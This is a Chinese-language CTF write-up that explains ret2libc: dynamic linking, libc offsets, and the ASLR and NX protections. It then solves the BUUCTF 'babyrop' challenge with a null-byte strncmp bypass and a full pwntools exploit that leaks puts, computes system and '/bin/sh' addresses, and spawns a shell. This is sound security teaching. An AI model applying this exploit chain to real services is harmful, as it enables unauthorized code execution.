pwn之ret2libc

libc.so

动态链接

动态链接的基本思想是把程序按照模块拆分成各个相对独立部分,在程序运行时才将它们链接在一起形成一个完整的程序,而不是像静态链接一样把所有程序模块都链接成一个单独的可执行文件。为了程序开发独立,而且更新方便,如今大多数程序都采用动态链接的方法。

.so文件

为了解决重定位问题,动态链接需要用到相应的动态链接库,也就是linux的.so文件和Windows的dll文件,作为可共享的文件,.so文件和.dll文件可以和许多程序打交道,也就包含了许多的函数和资源。

libc.so文件

.so 是共享目标(Shared Object)文件,是经过编译但未链接的二进制文件,lib.so 是C语言库(Library)的共享目标文件,以动态链接的方式被调用,因为是c语言标准库,里面就会有很多相应的c函数,而且由于是共享文件需要给不同的文件提供函数符号解析,libc.so文件里面每个函数相对于libc基址的偏移是固定的

偏移和基址

举个例子

pwn之ret2libc-LMLPHP

假如你家到学校有1000米,学校到体育馆有200米,那么从你家开始走,以学校的角度看,学校的基址就是1000,那么体育馆就是相对于学校的偏移,偏移量是200,最终走到体育馆就是1000+200,也就是基址加偏移.

pwn之ret2libc-LMLPHP

如果说体育馆没有搬家,也就是偏移量固定的情况下,我们很容易能够一直从家找到体育馆,也就是从基址找到偏移,而很显然,libc文件的偏移量能够让我们很容易用固定偏移找到我们想要的函数或者字符。

plt表和got表

这一段知识掌握的稍微弱一点,大家可以参考这篇,讲的蛮好。GOT表和PLT表知识详解_77458的博客-CSDN博客_got表

相关防护

ASLR防护

ASLR基址也叫做地址随机化,是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

NX防护

即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

ret2libc

原理

如果一个程序开启了ASLR防护和NX防护,也就是说栈既不可执行也随机化,那么也就意味着我们得到的这个程序里面所有的函数地址都不可以使用了,只能另找其他方法。刚才介绍的libc文件就是一个绕过这两个防护的好方法,由于libc文件是一个共享文件,那它里面的函数肯定可以执行,而且每个函数的偏移量也是固定的,那么我们就可以利用libc文件找到我们需要的函数地址,然后栈溢出到返回地址去执行。

ret2libc基本步骤如下:

1.泄露libc文件的版本(如果题目有提供libc的话这个步骤可以省略)

2.泄露libc_base(即libc的基址)

3.查找相应函数的偏移量(基址加偏移量就是我们要找函数的真实地址)

题目

BUUCTF在线评测 (buuoj.cn)—babyrop

题目给出了附件libc-2.23.so,所以我们就不用再泄露libc版本,下载附件ida拖进去。
先查看字符串,很显然没有后门函数和'/bin/sh'

pwn之ret2libc-LMLPHP

来到main函数反编译。

pwn之ret2libc-LMLPHP

有两个函数,分别点进去看看。

sub_804871F的函数逻辑是让我们输入一个buf,并且和随机的s进行比较,相等才能绕过if判断,在这里可以说一下strlen函数和strncmp函数。

pwn之ret2libc-LMLPHP

strlen函数:这个函数是取字符串元素有多少的,而它结束的条件是获得‘\x00’,也就是说,在没有检测到‘\x00’这个字符之前它是不会结束的。

strncmp函数:这个函数是比较字符相不相等,相等返回值是0,不相等有两种情况,也对应着它前两个参数字符串a和b,a和b自左向右逐个字符相比(按ASCII值大小相比较),当a有一个字符大于b,即a>b,返回正数,反之则返回负数,而第三个参数是规定这个函数比较ab的前多少个字符。

而strncmp有一个问题就是:当它的第三个参数为0,那么无论前面两个参数是多少,它的返回值都是0。

那么我们的绕过思路就有了,只要我们让v1,也就是第三个参数的值为0,那么if就可以绕过。

所以我们可以往buf中最先传入一个‘\x00’,这样就能让strlen函数的返回值为0,这样第一段函数就能成功绕过。

再来看第二段函数sub_80487D0

pwn之ret2libc-LMLPHP

sub_80487D0这段函数传参的是刚才的buf,这次用它来进行判断和溢出,可以看出来,我们要成功溢出,就要让buf既不等于127,又要大于231并且尽可能地大(因为它也做了read的第三个参数)。

那么我们就可以再传入7个‘\xff’,就可以让buf[7]具备以上条件。

总的payload1 = b‘\x00’ + b'\xff'*7

然后就可以利用ret2libc,鉴于上面介绍已经充分详细,下面直接贴出exp

from pwn import *

attack

# r = process("./pwn1")

r = remote("node4.buuoj.cn",25533)
elf = ELF("./pwn1")
libc = ELF("libc-2.23.so")给出的libc,需要和脚本放在同一个目录

#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825

#attack
payload = b'\x00' + b'\xff'*7
r.sendline(payload)

#attack2(泄露puts在libc中的地址)
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))

#attack3
r.sendline(payload)

#libc(查找相应函数的偏移量)
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))

#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)

r.interactive()

pwn之ret2libc-LMLPHP

还有一种需要手动泄露libc版本的题目,因为方法原理类似,在这里就不做演示了。

12-07 20:11